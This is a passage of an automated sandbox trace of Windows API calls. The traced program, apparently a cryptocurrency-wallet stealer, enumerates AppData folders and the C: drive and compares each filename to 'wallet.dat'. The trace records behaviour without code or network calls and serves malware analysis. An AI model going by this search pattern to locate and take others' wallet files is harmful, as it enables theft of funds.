cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0266.393] lstrcmpW (lpString1="PrivacIE", lpString2="..") returned 1 [0266.393] lstrcmpW (lpString1="PrivacIE", lpString2=".") returned 1 [0266.393] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.393] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", pszFile="PrivacIE" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE" [0266.394] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.394] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x795418b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2f652f00, ftLastAccessTime.dwHighDateTime=0x1d8a8cd, ftLastWriteTime.dwLowDateTime=0x2f652f00, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Recent", cAlternateFileName="")) returned 1 [0266.394] lstrcmpW (lpString1="Recent", lpString2="..") returned 1 [0266.394] lstrcmpW (lpString1="Recent", lpString2=".") returned 1 [0266.394] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.394] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Recent" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0266.394] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.394] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x795418b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799b81f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf9b7c855, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="SendTo", cAlternateFileName="")) returned 1 [0266.394] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0266.394] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0266.394] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.395] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", pszFile="SendTo" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\SendTo" [0266.395] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.395] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7951b750, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799b81f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e803170, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0266.395] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0266.395] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0266.395] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.395] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Start Menu" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu" [0266.395] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.396] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x794f55f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xaef15879, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0266.396] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0266.396] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0266.396] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.396] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Templates" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Templates") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Templates" [0266.396] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.396] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xef632f84, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Themes", cAlternateFileName="")) returned 1 [0266.396] lstrcmpW (lpString1="Themes", lpString2="..") returned 1 [0266.396] lstrcmpW (lpString1="Themes", lpString2=".") returned 1 [0266.396] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.396] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Themes" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Themes") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Themes" [0266.397] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.397] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xef632f84, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="Themes", cAlternateFileName="")) returned 0 [0266.397] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.398] LocalFree (hMem=0x706de8) returned 0x0 [0266.398] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.398] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.398] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Word", cAlternateFileName="")) returned 1 [0266.398] lstrcmpW (lpString1="Word", lpString2="..") returned 1 [0266.398] lstrcmpW (lpString1="Word", lpString2=".") returned 1 [0266.398] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.398] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft", pszFile="Word" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word" [0266.398] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.398] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x706a60 [0266.398] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.398] lstrcmpW (lpString1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.399] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word" [0266.399] StrCpyW (in: psz1=0x706a60, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word" [0266.399] lstrlenW (lpString="\\*") returned 2 [0266.399] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word") returned 49 [0266.399] LocalAlloc (uFlags=0x40, uBytes=0x166) returned 0x706de8 [0266.399] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\word\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.399] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.399] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.399] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.399] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.399] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.400] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.400] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0266.400] lstrcmpW (lpString1="STARTUP", lpString2="..") returned 1 [0266.400] lstrcmpW (lpString1="STARTUP", lpString2=".") returned 1 [0266.400] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f3a18 [0266.400] PathCombineW (in: pszDest=0x6f3a18, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word", pszFile="STARTUP" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\STARTUP") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\STARTUP" [0266.400] LocalFree (hMem=0x6f3a18) returned 0x0 [0266.400] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="STARTUP", cAlternateFileName="")) returned 0 [0266.401] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.401] LocalFree (hMem=0x706de8) returned 0x0 [0266.401] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.403] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.403] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="Word", cAlternateFileName="")) returned 0 [0266.404] LocalFree (hMem=0x6f4ec0) returned 0x0 [0266.404] LocalFree (hMem=0x706c80) returned 0x0 [0266.404] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0266.405] LocalFree (hMem=0x6f15b0) returned 0x0 [0266.405] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54c5a5f0, ftCreationTime.dwHighDateTime=0x1d898c8, ftLastAccessTime.dwLowDateTime=0xde657af0, ftLastAccessTime.dwHighDateTime=0x1d8a61b, ftLastWriteTime.dwLowDateTime=0xde657af0, ftLastWriteTime.dwHighDateTime=0x1d8a61b, nFileSizeHigh=0x0, nFileSizeLow=0x14393, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="OGxRDj.wav", cAlternateFileName="")) returned 1 [0266.405] lstrcmpW (lpString1="OGxRDj.wav", lpString2="wallet.dat") returned -1 [0266.405] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa61402d0, ftCreationTime.dwHighDateTime=0x1d8a129, ftLastAccessTime.dwLowDateTime=0x62555970, ftLastAccessTime.dwHighDateTime=0x1d8a5f9, ftLastWriteTime.dwLowDateTime=0x62555970, ftLastWriteTime.dwHighDateTime=0x1d8a5f9, nFileSizeHigh=0x0, nFileSizeLow=0xcff7, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="oLsj2.png", cAlternateFileName="")) returned 1 [0266.405] lstrcmpW (lpString1="oLsj2.png", lpString2="wallet.dat") returned -1 [0266.405] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6eb021f0, ftCreationTime.dwHighDateTime=0x1d897f8, ftLastAccessTime.dwLowDateTime=0x132650e0, ftLastAccessTime.dwHighDateTime=0x1d89c29, ftLastWriteTime.dwLowDateTime=0x132650e0, ftLastWriteTime.dwHighDateTime=0x1d89c29, nFileSizeHigh=0x0, nFileSizeLow=0xb5f1, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="pebS39q9vzkDEPFYkz.ods", cAlternateFileName="PEBS39~1.ODS")) returned 1 [0266.405] lstrcmpW (lpString1="pebS39q9vzkDEPFYkz.ods", lpString2="wallet.dat") returned -1 [0266.405] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x898086b0, ftCreationTime.dwHighDateTime=0x1d89cf2, ftLastAccessTime.dwLowDateTime=0xc4ef8ff0, ftLastAccessTime.dwHighDateTime=0x1d8a18b, ftLastWriteTime.dwLowDateTime=0xc4ef8ff0, ftLastWriteTime.dwHighDateTime=0x1d8a18b, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="PNMdK3mpgtNb52te7W.mp3", cAlternateFileName="PNMDK3~1.MP3")) returned 1 [0266.405] lstrcmpW (lpString1="PNMdK3mpgtNb52te7W.mp3", lpString2="wallet.dat") returned -1 [0266.405] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x92b65a40, ftCreationTime.dwHighDateTime=0x1d8a623, ftLastAccessTime.dwLowDateTime=0xdd6bd1e0, ftLastAccessTime.dwHighDateTime=0x1d8a68d, ftLastWriteTime.dwLowDateTime=0xdd6bd1e0, ftLastWriteTime.dwHighDateTime=0x1d8a68d, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="qeSthG-ldt2d_Fn5GQ.xls", cAlternateFileName="QESTHG~1.XLS")) returned 1 [0266.405] lstrcmpW (lpString1="qeSthG-ldt2d_Fn5GQ.xls", lpString2="wallet.dat") returned -1 [0266.405] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76707550, ftCreationTime.dwHighDateTime=0x1d8994e, ftLastAccessTime.dwLowDateTime=0x17f84750, ftLastAccessTime.dwHighDateTime=0x1d89ec6, ftLastWriteTime.dwLowDateTime=0x17f84750, ftLastWriteTime.dwHighDateTime=0x1d89ec6, nFileSizeHigh=0x0, nFileSizeLow=0x13940, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="rc0egV5-0xFuAD32d.ods", cAlternateFileName="RC0EGV~1.ODS")) returned 1 [0266.405] lstrcmpW (lpString1="rc0egV5-0xFuAD32d.ods", lpString2="wallet.dat") returned -1 [0266.405] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x429fcb80, ftCreationTime.dwHighDateTime=0x1d897ab, ftLastAccessTime.dwLowDateTime=0x62c73650, ftLastAccessTime.dwHighDateTime=0x1d8a020, ftLastWriteTime.dwLowDateTime=0x62c73650, ftLastWriteTime.dwHighDateTime=0x1d8a020, nFileSizeHigh=0x0, nFileSizeLow=0xab7c, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="RxbmZ-ivCPnLjdbmU.xls", cAlternateFileName="RXBMZ-~1.XLS")) returned 1 [0266.405] lstrcmpW (lpString1="RxbmZ-ivCPnLjdbmU.xls", lpString2="wallet.dat") returned -1 [0266.405] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa754a00, ftCreationTime.dwHighDateTime=0x1d89864, ftLastAccessTime.dwLowDateTime=0x81b88210, ftLastAccessTime.dwHighDateTime=0x1d8a527, ftLastWriteTime.dwLowDateTime=0x81b88210, ftLastWriteTime.dwHighDateTime=0x1d8a527, nFileSizeHigh=0x0, nFileSizeLow=0xeb90, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="S3J8TnVdB.pps", cAlternateFileName="S3J8TN~1.PPS")) returned 1 [0266.405] lstrcmpW (lpString1="S3J8TnVdB.pps", lpString2="wallet.dat") returned -1 [0266.405] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8120db0, ftCreationTime.dwHighDateTime=0x1d89b3f, ftLastAccessTime.dwLowDateTime=0x88062210, ftLastAccessTime.dwHighDateTime=0x1d8a1dc, ftLastWriteTime.dwLowDateTime=0x88062210, ftLastWriteTime.dwHighDateTime=0x1d8a1dc, nFileSizeHigh=0x0, nFileSizeLow=0xbe32, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="Uy4GFW7nQivs9nvAeBx.jpg", cAlternateFileName="UY4GFW~1.JPG")) returned 1 [0266.405] lstrcmpW (lpString1="Uy4GFW7nQivs9nvAeBx.jpg", lpString2="wallet.dat") returned -1 [0266.405] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3551b380, ftCreationTime.dwHighDateTime=0x1d8a034, ftLastAccessTime.dwLowDateTime=0x1b966e90, ftLastAccessTime.dwHighDateTime=0x1d8a359, ftLastWriteTime.dwLowDateTime=0x1b966e90, ftLastWriteTime.dwHighDateTime=0x1d8a359, nFileSizeHigh=0x0, nFileSizeLow=0x6950, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="V_DbMhsbPw.flv", cAlternateFileName="V_DBMH~1.FLV")) returned 1 [0266.405] lstrcmpW (lpString1="V_DbMhsbPw.flv", lpString2="wallet.dat") returned -1 [0266.406] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed7fff10, ftCreationTime.dwHighDateTime=0x1d8a715, ftLastAccessTime.dwLowDateTime=0x4e6890c0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x4e6890c0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="y0WJ52L8tQh_.jpg", cAlternateFileName="Y0WJ52~1.JPG")) returned 1 [0266.406] lstrcmpW (lpString1="y0WJ52L8tQh_.jpg", lpString2="wallet.dat") returned 1 [0266.406] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e52780, ftCreationTime.dwHighDateTime=0x1d89a4c, ftLastAccessTime.dwLowDateTime=0x499dd3f0, ftLastAccessTime.dwHighDateTime=0x1d8a570, ftLastWriteTime.dwLowDateTime=0x499dd3f0, ftLastWriteTime.dwHighDateTime=0x1d8a570, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="YC 0_vsD.pdf", cAlternateFileName="YC0_VS~1.PDF")) returned 1 [0266.406] lstrcmpW (lpString1="YC 0_vsD.pdf", lpString2="wallet.dat") returned 1 [0266.406] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1fd1ed0, ftCreationTime.dwHighDateTime=0x1d8a14d, ftLastAccessTime.dwLowDateTime=0x5c0af440, ftLastAccessTime.dwHighDateTime=0x1d8a553, ftLastWriteTime.dwLowDateTime=0x5c0af440, ftLastWriteTime.dwHighDateTime=0x1d8a553, nFileSizeHigh=0x0, nFileSizeLow=0xf38e, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="YPNiaah3.mp3", cAlternateFileName="")) returned 1 [0266.406] lstrcmpW (lpString1="YPNiaah3.mp3", lpString2="wallet.dat") returned 1 [0266.406] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38236580, ftCreationTime.dwHighDateTime=0x1d8a5e4, ftLastAccessTime.dwLowDateTime=0x1cb75af0, ftLastAccessTime.dwHighDateTime=0x1d8a6a6, ftLastWriteTime.dwLowDateTime=0x1cb75af0, ftLastWriteTime.dwHighDateTime=0x1d8a6a6, nFileSizeHigh=0x0, nFileSizeLow=0xbefa, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="Z743XvLxgzIYUtavkp--.avi", cAlternateFileName="Z743XV~1.AVI")) returned 1 [0266.406] lstrcmpW (lpString1="Z743XvLxgzIYUtavkp--.avi", lpString2="wallet.dat") returned 1 [0266.406] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38236580, ftCreationTime.dwHighDateTime=0x1d8a5e4, ftLastAccessTime.dwLowDateTime=0x1cb75af0, ftLastAccessTime.dwHighDateTime=0x1d8a6a6, ftLastWriteTime.dwLowDateTime=0x1cb75af0, ftLastWriteTime.dwHighDateTime=0x1d8a6a6, nFileSizeHigh=0x0, nFileSizeLow=0xbefa, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="Z743XvLxgzIYUtavkp--.avi", cAlternateFileName="Z743XV~1.AVI")) returned 0 [0266.406] LocalFree (hMem=0x6f4848) returned 0x0 [0266.407] LocalFree (hMem=0x6bf278) returned 0x0 [0266.407] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0266.407] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x706a60 [0266.407] GetLogicalDriveStringsW (in: nBufferLength=0x208, lpBuffer=0x706a60 | out: lpBuffer="C:\\") returned 0x4 [0266.407] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4848 [0266.407] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f05a8 [0266.407] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4848, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.407] lstrcmpW (lpString1="C:", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.407] StrCpyW (in: psz1=0x6f4848, psz2="C:" | out: psz1="C:") returned="C:" [0266.407] StrCpyW (in: psz1=0x6f05a8, psz2="C:" | out: psz1="C:") returned="C:" [0266.407] lstrlenW (lpString="\\*") returned 2 [0266.407] lstrlenW (lpString="C:") returned 2 [0266.407] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x706e78 [0266.408] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x6ca500 [0266.408] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0266.408] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0266.408] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f05a8 [0266.408] PathCombineW (in: pszDest=0x6f05a8, pszDir="C:", pszFile="$Recycle.Bin" | out: pszDest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0266.408] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4ec0 [0266.408] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f0fd8 [0266.408] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 